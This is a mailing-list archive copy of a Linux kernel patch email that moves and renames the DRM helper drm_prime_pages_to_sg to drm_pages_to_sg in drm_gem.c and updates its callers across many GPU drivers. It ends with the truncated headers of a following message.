List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zohomail header.d=collabora.com header.i="adrian.larumbe@collabora.com" header.h="From:Date:Subject:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-Id:To:Cc"
ARC-Seal: i=1; a=rsa-sha256; t=1784894957; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=XytxdjCGX9EVUPtKHF9e+bqP8A0cCXkZpjpzzRG0dGjvUYRYcAh6Y28Aq0zdwe+8AdS0x2LLhgchFvco13lZXmzHRS1P311dnA5e7UXs7dXA0MgXm1/tA6glovCBav/JXtd1SH6LVt1sIIOsu4z+/L++ZRAMXpwvZ6Y9a5hq7Og=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1784894957; h=Content-Type:Content-Transfer-Encoding:Cc:Cc:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To; 
	bh=DeEZcBVEsWInovxiw4dTOa5TRdK+0FTpKBalsMipvug=; 
	b=JnD439G1G5v2NpSXVTamKPt4m956jX/SiSkVFQJyR8L+/Tzfcz085c8FPQDIm1O9UU0rkWqmeYYp/9INnwOJJg9koEjGsYp+o3hKrvNRRHQQP9jIuiTFBONMiQ50KaKCTWw3+QtroSfWuKweTO9haNeRIBLOFveMfJT9agHj8Xs=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=collabora.com;
	spf=pass  smtp.mailfrom=adrian.larumbe@collabora.com;
	dmarc=pass header.from=<adrian.larumbe@collabora.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1784894957;
	s=zohomail; d=collabora.com; i=adrian.larumbe@collabora.com;
	h=From:From:Date:Date:Subject:Subject:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-Id:Message-Id:To:To:Cc:Cc:Reply-To;
	bh=DeEZcBVEsWInovxiw4dTOa5TRdK+0FTpKBalsMipvug=;
	b=DM9IjqJUPkdiUu8sGP59ecg8r/tMoNO5Ucrjlfp4CnQV0i6E7tPp3MHZHIK06Xf+
	EyXUTV8YPyUEvAZ8TTPMKZdAi/yeV5ewIIepEP577y2UoMRbsytnA4WAQYtOppnR8oO
	8MACe4aWiJ5XesjgWMqpy/fAHasX7/jXdqs3/ukY=
From: =?utf-8?q?Adri=C3=A1n_Larumbe?= <adrian.larumbe@collabora.com>
Date: Fri, 24 Jul 2026 13:08:58 +0100
Subject: [PATCH] drm/gem: Move pages_to_sg helper into drm_gem.c
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20260724-get_pages-v1-1-b10e5d65628e@collabora.com>
X-B4-Tracking: v=1; b=H4sIAAAAAAAC/6tWKk4tykwtVrJSqFYqSi3LLM7MzwNyDHUUlJIzE
 vPSU3UzU4B8JSMDIzMDcyMT3fTUkviCxPTUYt1Uo1RLw2RT49TERGMloPqCotS0zAqwWdGxEH5
 xaVJWanIJyACl2loAZ6PVx20AAAA=
X-Change-ID: 20260724-get_pages-e2e91c53eaa3
To: Alex Deucher <alexander.deucher@amd.com>, 
 =?utf-8?q?Christian_K=C3=B6nig?= <christian.koenig@amd.com>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Jianmin Lv <lvjianmin@loongson.cn>, Qianhai Wu <wuqianhai@loongson.cn>, 
 Huacai Chen <chenhuacai@kernel.org>, Mingcong Bai <jeffbai@aosc.io>, 
 Xi Ruoyao <xry111@xry111.site>, Icenowy Zheng <zhengxingda@iscas.ac.cn>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, 
 Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Sumit Semwal <sumit.semwal@linaro.org>
Cc: amd-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org, 
 linux-kernel@vger.kernel.org, etnaviv@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-arm-kernel@lists.infradead.org, linux-tegra@vger.kernel.org, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-media@vger.kernel.org, linaro-mm-sig@lists.linaro.org, 
 =?utf-8?q?Adri=C3=A1n_Larumbe?= <adrian.larumbe@collabora.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=17563;
 i=adrian.larumbe@collabora.com; h=from:subject:message-id;
 bh=3PVL60uLcRI4yvDQx1IrwymmB1TFYT1vk37fGhTxmlE=;
 b=owEB7QES/pANAwAKAQ4mfkzuU0M9AcsmYgBqY1XgrrsDazA78XCqv4Hkn/ujXzt2KDrdKQQnM
 HDXI/outcGJAbMEAAEKAB0WIQQyQDDowAUXXfk3B6QOJn5M7lNDPQUCamNV4AAKCRAOJn5M7lND
 PRlEC/4otGAiqlGdJW1PM79TRx/wgUCZsSgcgrihNvGOYUqY7R9iKNivSpxEvj7LI/vuWtkk1Sc
 zz5Fl15Hx81JDA5QrDvVIaw6+h2UxR/395AaKIu6dxEVD/nUAljE+CGzvKXvbg1ef5mcl5xwkEU
 NG8Zife//57e2Cxx3jlm8K05OHWpAxmvpgK/+TnbbjGN0S2sU0mKLKkOI/IjpKDtXbRawqmkP8f
 ig5FFku9ryqj7iISJIc0IHOFkwlK6amszLd0X/XZqc5HCl3rWVGWNYBC0brOGcyxZ6Cz+vBACkw
 Fxxqt5KEzITsrBK+ame24r5yCJ36qiVAuHoy1Yrw9GO3H4xt/8zM7lCwOdCUkFmyErXSPHmjSQr
 4uEDJziN3dnZkl+tTIHkGxbVzjQZgTaLF8XDZFaFpMCUz+aIyb3LpPY7hirfcwSnFl7UoaiynXg
 nXS0x8DIJ3+QDNXhi7eYtwSDPtiuv6RTaJlr8oBkoACoTgxRbv8Q+ZCgyvm91ZdVCDtDk=
X-Developer-Key: i=adrian.larumbe@collabora.com; a=openpgp;
 fpr=324030E8C005175DF93707A40E267E4CEE53433D
X-purgate-ID: tlsNG-d62444/1784895037-1F063757-0D263CB1/0/0
X-purgate-type: clean
X-purgate-size: 17565

None of the semantics of the function tell of it being a PRIME-exclusive
entry point. In fact, most drivers seem to be using it to translate a list
of pages into an sg table that can be used for GPU mapping later on, rather
than just for sharing an object's pages with another driver.

Move it across files and rename accordingly.

Signed-off-by: AdriÃ¡n Larumbe <adrian.larumbe@collabora.com>
---
drm_prime_pages_to_sg() has no real dependency on PRIME/dma-buf interfaces.
It is a generic helper that converts a page array into a scatter/gather
table via dma_map_sg_attrs. Nothing in its implementation touches struct
dma_buf or import/export logic.
---
 drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c |  6 ++---
 drivers/gpu/drm/drm_gem.c                   | 35 ++++++++++++++++++++++++++
 drivers/gpu/drm/drm_gem_shmem_helper.c      |  2 +-
 drivers/gpu/drm/drm_prime.c                 | 38 -----------------------------
 drivers/gpu/drm/etnaviv/etnaviv_gem.c       |  3 +--
 drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c |  3 ++-
 drivers/gpu/drm/loongson/lsdc_gem.c         |  3 +--
 drivers/gpu/drm/msm/msm_gem.c               |  2 +-
 drivers/gpu/drm/msm/msm_gem_prime.c         |  2 +-
 drivers/gpu/drm/nouveau/nouveau_prime.c     |  4 +--
 drivers/gpu/drm/panthor/panthor_gem.c       |  6 ++---
 drivers/gpu/drm/radeon/radeon_prime.c       |  5 ++--
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c |  6 ++---
 drivers/gpu/drm/tegra/gem.c                 |  4 +--
 drivers/gpu/drm/vmwgfx/vmwgfx_gem.c         |  4 +--
 drivers/gpu/drm/xe/xe_dma_buf.c             |  6 ++---
 drivers/gpu/drm/xen/xen_drm_front_gem.c     |  2 +-
 include/drm/drm_gem.h                       |  5 +++-
 include/drm/drm_prime.h                     |  2 --
 19 files changed, 68 insertions(+), 70 deletions(-)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
index b33c300e26e2..c9a98aec7eb6 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
@@ -203,9 +203,9 @@ static struct sg_table *amdgpu_dma_buf_map(struct dma_buf_attachment *attach,
 
 	switch (bo->tbo.resource->mem_type) {
 	case TTM_PL_TT:
-		sgt = drm_prime_pages_to_sg(obj->dev,
-					    bo->tbo.ttm->pages,
-					    bo->tbo.ttm->num_pages);
+		sgt = drm_pages_to_sg(obj->dev,
+				      bo->tbo.ttm->pages,
+				      bo->tbo.ttm->num_pages);
 		if (IS_ERR(sgt))
 			return sgt;
 
diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c
index 018df97d590d..22c8a3b5f667 100644
--- a/drivers/gpu/drm/drm_gem.c
+++ b/drivers/gpu/drm/drm_gem.c
@@ -780,6 +780,41 @@ void drm_gem_put_pages(struct drm_gem_object *obj, struct page **pages,
 }
 EXPORT_SYMBOL(drm_gem_put_pages);
 
+/**
+ * drm_pages_to_sg - converts a page array into an sg list
+ * @dev: DRM device
+ * @pages: pointer to the array of page pointers to convert
+ * @nr_pages: length of the page vector
+ *
+ * This helper creates an sg table object from a set of pages.
+ * This is useful for implementing &drm_gem_object_funcs.get_sg_table.
+ */
+struct sg_table *drm_pages_to_sg(struct drm_device *dev,
+				 struct page **pages, unsigned int nr_pages)
+{
+	struct sg_table *sg;
+	size_t max_segment = 0;
+	int err;
+
+	sg = kmalloc_obj(struct sg_table);
+	if (!sg)
+		return ERR_PTR(-ENOMEM);
+
+	if (dev)
+		max_segment = dma_max_mapping_size(drm_dev_dma_dev(dev));
+	if (max_segment == 0)
+		max_segment = UINT_MAX;
+	err = sg_alloc_table_from_pages_segment(sg, pages, nr_pages, 0,
+						(unsigned long)nr_pages << PAGE_SHIFT,
+						max_segment, GFP_KERNEL);
+	if (err) {
+		kfree(sg);
+		sg = ERR_PTR(err);
+	}
+	return sg;
+}
+EXPORT_SYMBOL(drm_pages_to_sg);
+
 static int objects_lookup(struct drm_file *filp, u32 *handle, int count,
 			  struct drm_gem_object **objs)
 {
diff --git a/drivers/gpu/drm/drm_gem_shmem_helper.c b/drivers/gpu/drm/drm_gem_shmem_helper.c
index 22ec52e2ffb8..144d088a477f 100644
--- a/drivers/gpu/drm/drm_gem_shmem_helper.c
+++ b/drivers/gpu/drm/drm_gem_shmem_helper.c
@@ -825,7 +825,7 @@ struct sg_table *drm_gem_shmem_get_sg_table(struct drm_gem_shmem_object *shmem)
 
 	drm_WARN_ON(obj->dev, drm_gem_is_imported(obj));
 
-	return drm_prime_pages_to_sg(obj->dev, shmem->pages, obj->size >> PAGE_SHIFT);
+	return drm_pages_to_sg(obj->dev, shmem->pages, obj->size >> PAGE_SHIFT);
 }
 EXPORT_SYMBOL_GPL(drm_gem_shmem_get_sg_table);
 
diff --git a/drivers/gpu/drm/drm_prime.c b/drivers/gpu/drm/drm_prime.c
index 9b44c78cd77f..54539a8929c1 100644
--- a/drivers/gpu/drm/drm_prime.c
+++ b/drivers/gpu/drm/drm_prime.c
@@ -835,44 +835,6 @@ static const struct dma_buf_ops drm_gem_prime_dmabuf_ops =  {
 	.vunmap = drm_gem_dmabuf_vunmap,
 };
 
-/**
- * drm_prime_pages_to_sg - converts a page array into an sg list
- * @dev: DRM device
- * @pages: pointer to the array of page pointers to convert
- * @nr_pages: length of the page vector
- *
- * This helper creates an sg table object from a set of pages
- * the driver is responsible for mapping the pages into the
- * importers address space for use with dma_buf itself.
- *
- * This is useful for implementing &drm_gem_object_funcs.get_sg_table.
- */
-struct sg_table *drm_prime_pages_to_sg(struct drm_device *dev,
-				       struct page **pages, unsigned int nr_pages)
-{
-	struct sg_table *sg;
-	size_t max_segment = 0;
-	int err;
-
-	sg = kmalloc_obj(struct sg_table);
-	if (!sg)
-		return ERR_PTR(-ENOMEM);
-
-	if (dev)
-		max_segment = dma_max_mapping_size(drm_dev_dma_dev(dev));
-	if (max_segment == 0)
-		max_segment = UINT_MAX;
-	err = sg_alloc_table_from_pages_segment(sg, pages, nr_pages, 0,
-						(unsigned long)nr_pages << PAGE_SHIFT,
-						max_segment, GFP_KERNEL);
-	if (err) {
-		kfree(sg);
-		sg = ERR_PTR(err);
-	}
-	return sg;
-}
-EXPORT_SYMBOL(drm_prime_pages_to_sg);
-
 /**
  * drm_prime_get_contiguous_size - returns the contiguous size of the buffer
  * @sgt: sg_table describing the buffer to check
diff --git a/drivers/gpu/drm/etnaviv/etnaviv_gem.c b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
index b0436a1e103f..a8e8614f8210 100644
--- a/drivers/gpu/drm/etnaviv/etnaviv_gem.c
+++ b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
@@ -3,7 +3,6 @@
  * Copyright (C) 2015-2018 Etnaviv Project
  */
 
-#include <drm/drm_prime.h>
 #include <drm/drm_print.h>
 #include <linux/dma-mapping.h>
 #include <linux/shmem_fs.h>
@@ -104,7 +103,7 @@ struct page **etnaviv_gem_get_pages(struct etnaviv_gem_object *etnaviv_obj)
 		unsigned int npages = etnaviv_obj->base.size >> PAGE_SHIFT;
 		struct sg_table *sgt;
 
-		sgt = drm_prime_pages_to_sg(dev, etnaviv_obj->pages, npages);
+		sgt = drm_pages_to_sg(dev, etnaviv_obj->pages, npages);
 		if (IS_ERR(sgt)) {
 			dev_err(dev->dev, "failed to allocate sgt: %ld\n",
 				PTR_ERR(sgt));
diff --git a/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c b/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
index 6757ae6ec304..f44484325ddb 100644
--- a/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
+++ b/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
@@ -3,6 +3,7 @@
  * Copyright (C) 2014-2018 Etnaviv Project
  */
 
+#include <drm/drm_gem.h>
 #include <drm/drm_prime.h>
 #include <linux/dma-buf.h>
 #include <linux/module.h>
@@ -22,7 +23,7 @@ struct sg_table *etnaviv_gem_prime_get_sg_table(struct drm_gem_object *obj)
 	if (WARN_ON(!etnaviv_obj->pages))  /* should have already pinned! */
 		return ERR_PTR(-EINVAL);
 
-	return drm_prime_pages_to_sg(obj->dev, etnaviv_obj->pages, npages);
+	return drm_pages_to_sg(obj->dev, etnaviv_obj->pages, npages);
 }
 
 int etnaviv_gem_prime_vmap(struct drm_gem_object *obj, struct iosys_map *map)
diff --git a/drivers/gpu/drm/loongson/lsdc_gem.c b/drivers/gpu/drm/loongson/lsdc_gem.c
index 2fb03487c983..37160228244c 100644
--- a/drivers/gpu/drm/loongson/lsdc_gem.c
+++ b/drivers/gpu/drm/loongson/lsdc_gem.c
@@ -9,7 +9,6 @@
 #include <drm/drm_dumb_buffers.h>
 #include <drm/drm_file.h>
 #include <drm/drm_gem.h>
-#include <drm/drm_prime.h>
 #include <drm/drm_print.h>
 
 #include "lsdc_drv.h"
@@ -51,7 +50,7 @@ static struct sg_table *lsdc_gem_prime_get_sg_table(struct drm_gem_object *obj)
 		return ERR_PTR(-ENOMEM);
 	}
 
-	return drm_prime_pages_to_sg(obj->dev, tt->pages, tt->num_pages);
+	return drm_pages_to_sg(obj->dev, tt->pages, tt->num_pages);
 }
 
 static void lsdc_gem_object_free(struct drm_gem_object *obj)
diff --git a/drivers/gpu/drm/msm/msm_gem.c b/drivers/gpu/drm/msm/msm_gem.c
index efd3d3c9a449..7e3418290c22 100644
--- a/drivers/gpu/drm/msm/msm_gem.c
+++ b/drivers/gpu/drm/msm/msm_gem.c
@@ -207,7 +207,7 @@ static struct page **get_pages(struct drm_gem_object *obj)
 
 		msm_obj->pages = p;
 
-		msm_obj->sgt = drm_prime_pages_to_sg(obj->dev, p, npages);
+		msm_obj->sgt = drm_pages_to_sg(obj->dev, p, npages);
 		if (IS_ERR(msm_obj->sgt)) {
 			void *ptr = ERR_CAST(msm_obj->sgt);
 
diff --git a/drivers/gpu/drm/msm/msm_gem_prime.c b/drivers/gpu/drm/msm/msm_gem_prime.c
index 036d34c674d9..d25393a9e549 100644
--- a/drivers/gpu/drm/msm/msm_gem_prime.c
+++ b/drivers/gpu/drm/msm/msm_gem_prime.c
@@ -23,7 +23,7 @@ struct sg_table *msm_gem_prime_get_sg_table(struct drm_gem_object *obj)
 	if (WARN_ON(!msm_obj->pages))  /* should have already pinned! */
 		return ERR_PTR(-ENOMEM);
 
-	return drm_prime_pages_to_sg(obj->dev, msm_obj->pages, npages);
+	return drm_pages_to_sg(obj->dev, msm_obj->pages, npages);
 }
 
 int msm_gem_prime_vmap(struct drm_gem_object *obj, struct iosys_map *map)
diff --git a/drivers/gpu/drm/nouveau/nouveau_prime.c b/drivers/gpu/drm/nouveau/nouveau_prime.c
index caab60fc62f6..b95f2f07df74 100644
--- a/drivers/gpu/drm/nouveau/nouveau_prime.c
+++ b/drivers/gpu/drm/nouveau/nouveau_prime.c
@@ -32,8 +32,8 @@ struct sg_table *nouveau_gem_prime_get_sg_table(struct drm_gem_object *obj)
 {
 	struct nouveau_bo *nvbo = nouveau_gem_object(obj);
 
-	return drm_prime_pages_to_sg(obj->dev, nvbo->bo.ttm->pages,
-				     nvbo->bo.ttm->num_pages);
+	return drm_pages_to_sg(obj->dev, nvbo->bo.ttm->pages,
+			       nvbo->bo.ttm->num_pages);
 }
 
 struct drm_gem_object *nouveau_gem_prime_import_sg_table(struct drm_device *dev,
diff --git a/drivers/gpu/drm/panthor/panthor_gem.c b/drivers/gpu/drm/panthor/panthor_gem.c
index 9855df738194..ec530d254fa4 100644
--- a/drivers/gpu/drm/panthor/panthor_gem.c
+++ b/drivers/gpu/drm/panthor/panthor_gem.c
@@ -321,8 +321,8 @@ panthor_gem_dev_map_get_sgt_locked(struct panthor_gem_object *bo)
 	if (ret)
 		return ERR_PTR(ret);
 
-	sgt = drm_prime_pages_to_sg(bo->base.dev, bo->backing.pages,
-				    bo->base.size >> PAGE_SHIFT);
+	sgt = drm_pages_to_sg(bo->base.dev, bo->backing.pages,
+			      bo->base.size >> PAGE_SHIFT);
 	if (IS_ERR(sgt))
 		return sgt;
 
@@ -702,7 +702,7 @@ static struct sg_table *panthor_gem_get_sg_table(struct drm_gem_object *obj)
 	drm_WARN_ON_ONCE(obj->dev, !bo->backing.pages);
 	drm_WARN_ON_ONCE(obj->dev, !refcount_read(&bo->backing.pin_count));
 
-	return drm_prime_pages_to_sg(obj->dev, bo->backing.pages, obj->size >> PAGE_SHIFT);
+	return drm_pages_to_sg(obj->dev, bo->backing.pages, obj->size >> PAGE_SHIFT);
 }
 
 static int panthor_gem_vmap_locked(struct drm_gem_object *obj,
diff --git a/drivers/gpu/drm/radeon/radeon_prime.c b/drivers/gpu/drm/radeon/radeon_prime.c
index a77881f035e7..4cfc4282a59c 100644
--- a/drivers/gpu/drm/radeon/radeon_prime.c
+++ b/drivers/gpu/drm/radeon/radeon_prime.c
@@ -26,6 +26,7 @@
 
 #include <linux/dma-buf.h>
 
+#include <drm/drm_gem.h>
 #include <drm/drm_prime.h>
 #include <drm/radeon_drm.h>
 
@@ -38,8 +39,8 @@ struct sg_table *radeon_gem_prime_get_sg_table(struct drm_gem_object *obj)
 {
 	struct radeon_bo *bo = gem_to_radeon_bo(obj);
 
-	return drm_prime_pages_to_sg(obj->dev, bo->tbo.ttm->pages,
-				     bo->tbo.ttm->num_pages);
+	return drm_pages_to_sg(obj->dev, bo->tbo.ttm->pages,
+			       bo->tbo.ttm->num_pages);
 }
 
 struct drm_gem_object *radeon_gem_prime_import_sg_table(struct drm_device *dev,
diff --git a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
index b188539dca0b..7897da0becf4 100644
--- a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
+++ b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
@@ -89,8 +89,8 @@ static int rockchip_gem_get_pages(struct rockchip_gem_object *rk_obj)
 
 	rk_obj->num_pages = rk_obj->base.size >> PAGE_SHIFT;
 
-	rk_obj->sgt = drm_prime_pages_to_sg(rk_obj->base.dev,
-					    rk_obj->pages, rk_obj->num_pages);
+	rk_obj->sgt = drm_pages_to_sg(rk_obj->base.dev,
+				      rk_obj->pages, rk_obj->num_pages);
 	if (IS_ERR(rk_obj->sgt)) {
 		ret = PTR_ERR(rk_obj->sgt);
 		goto err_put_pages;
@@ -432,7 +432,7 @@ struct sg_table *rockchip_gem_prime_get_sg_table(struct drm_gem_object *obj)
 	int ret;
 
 	if (rk_obj->pages)
-		return drm_prime_pages_to_sg(obj->dev, rk_obj->pages, rk_obj->num_pages);
+		return drm_pages_to_sg(obj->dev, rk_obj->pages, rk_obj->num_pages);
 
 	sgt = kzalloc_obj(*sgt);
 	if (!sgt)
diff --git a/drivers/gpu/drm/tegra/gem.c b/drivers/gpu/drm/tegra/gem.c
index 436394e04812..701af672b4e5 100644
--- a/drivers/gpu/drm/tegra/gem.c
+++ b/drivers/gpu/drm/tegra/gem.c
@@ -17,7 +17,7 @@
 
 #include <drm/drm_drv.h>
 #include <drm/drm_dumb_buffers.h>
-#include <drm/drm_prime.h>
+#include <drm/drm_gem.h>
 
 #include "drm.h"
 #include "gem.h"
@@ -352,7 +352,7 @@ static int tegra_bo_get_pages(struct drm_device *drm, struct tegra_bo *bo)
 
 	bo->num_pages = bo->gem.size >> PAGE_SHIFT;
 
-	bo->sgt = drm_prime_pages_to_sg(bo->gem.dev, bo->pages, bo->num_pages);
+	bo->sgt = drm_pages_to_sg(bo->gem.dev, bo->pages, bo->num_pages);
 	if (IS_ERR(bo->sgt)) {
 		err = PTR_ERR(bo->sgt);
 		goto put_pages;
diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
index 39f8c46550c2..c9e7f2e3668c 100644
--- a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
+++ b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
@@ -28,7 +28,7 @@
 #include "vmwgfx_bo.h"
 #include "vmwgfx_drv.h"
 
-#include "drm/drm_prime.h"
+#include "drm/drm_gem.h"
 #include "drm/drm_gem_ttm_helper.h"
 
 #include <linux/debugfs.h>
@@ -76,7 +76,7 @@ static struct sg_table *vmw_gem_object_get_sg_table(struct drm_gem_object *obj)
 	if (vmw_tt->vsgt.sgt)
 		return vmw_tt->vsgt.sgt;
 
-	return drm_prime_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages, vmw_tt->dma_ttm.num_pages);
+	return drm_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages, vmw_tt->dma_ttm.num_pages);
 }
 
 static int vmw_gem_vmap(struct drm_gem_object *obj, struct iosys_map *map)
diff --git a/drivers/gpu/drm/xe/xe_dma_buf.c b/drivers/gpu/drm/xe/xe_dma_buf.c
index 8a920e58245c..f0fe80706b79 100644
--- a/drivers/gpu/drm/xe/xe_dma_buf.c
+++ b/drivers/gpu/drm/xe/xe_dma_buf.c
@@ -118,9 +118,9 @@ static struct sg_table *xe_dma_buf_map(struct dma_buf_attachment *attach,
 
 	switch (bo->ttm.resource->mem_type) {
 	case XE_PL_TT:
-		sgt = drm_prime_pages_to_sg(obj->dev,
-					    bo->ttm.ttm->pages,
-					    obj->size >> PAGE_SHIFT);
+		sgt = drm_pages_to_sg(obj->dev,
+				      bo->ttm.ttm->pages,
+				      obj->size >> PAGE_SHIFT);
 		if (IS_ERR(sgt))
 			return sgt;
 
diff --git a/drivers/gpu/drm/xen/xen_drm_front_gem.c b/drivers/gpu/drm/xen/xen_drm_front_gem.c
index eec4c1da3f9e..a4a7c7f2c91c 100644
--- a/drivers/gpu/drm/xen/xen_drm_front_gem.c
+++ b/drivers/gpu/drm/xen/xen_drm_front_gem.c
@@ -236,7 +236,7 @@ struct sg_table *xen_drm_front_gem_get_sg_table(struct drm_gem_object *gem_obj)
 	if (!xen_obj->pages)
 		return ERR_PTR(-ENOMEM);
 
-	return drm_prime_pages_to_sg(gem_obj->dev,
+	return drm_pages_to_sg(gem_obj->dev,
 				     xen_obj->pages, xen_obj->num_pages);
 }
 
diff --git a/include/drm/drm_gem.h b/include/drm/drm_gem.h
index 885244e375d3..7b9cc6335689 100644
--- a/include/drm/drm_gem.h
+++ b/include/drm/drm_gem.h
@@ -155,7 +155,7 @@ struct drm_gem_object_funcs {
 	 * here cannot be used for sg tables pointing at driver private memory
 	 * ranges.
 	 *
-	 * See also drm_prime_pages_to_sg().
+	 * See also drm_pages_to_sg().
 	 */
 	struct sg_table *(*get_sg_table)(struct drm_gem_object *obj);
 
@@ -589,6 +589,9 @@ struct page **drm_gem_get_pages(struct drm_gem_object *obj);
 void drm_gem_put_pages(struct drm_gem_object *obj, struct page **pages,
 		bool dirty, bool accessed);
 
+struct sg_table *drm_pages_to_sg(struct drm_device *dev,
+				 struct page **pages, unsigned int nr_pages);
+
 void drm_gem_lock(struct drm_gem_object *obj);
 void drm_gem_unlock(struct drm_gem_object *obj);
 
diff --git a/include/drm/drm_prime.h b/include/drm/drm_prime.h
index f50f862f0d8b..603e16a40ae7 100644
--- a/include/drm/drm_prime.h
+++ b/include/drm/drm_prime.h
@@ -92,8 +92,6 @@ void drm_gem_dmabuf_vunmap(struct dma_buf *dma_buf, struct iosys_map *map);
 int drm_gem_prime_mmap(struct drm_gem_object *obj, struct vm_area_struct *vma);
 int drm_gem_dmabuf_mmap(struct dma_buf *dma_buf, struct vm_area_struct *vma);
 
-struct sg_table *drm_prime_pages_to_sg(struct drm_device *dev,
-				       struct page **pages, unsigned int nr_pages);
 struct dma_buf *drm_gem_prime_export(struct drm_gem_object *obj,
 				     int flags);
 

---
base-commit: 48dd37d1fef33fbf42f1d6887c61e242fd21d00d
change-id: 20260724-get_pages-e2e91c53eaa3

Best regards,
--  
AdriÃ¡n Larumbe <adrian.larumbe@collabora.com>



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 13:20:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 13:20:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370010.1618428 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnFot-0002RT-EV; Fri, 24 Jul 2026 13:20:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370010.1618428; Fri, 24 Jul 2026 13:20:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnFot-0002RM-Ba; Fri, 24 Jul 2026 13:20:07 +0000
Received: by outflank-mailman (input) for mailman id 1370010;
 Fri, 24 Jul 2026 13:20:05 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kwolf@redhat.com>) id 1wnFor-0002Cc-FK
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 13:20:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnFoq-00AbUl-Kq
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 15:20:04 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
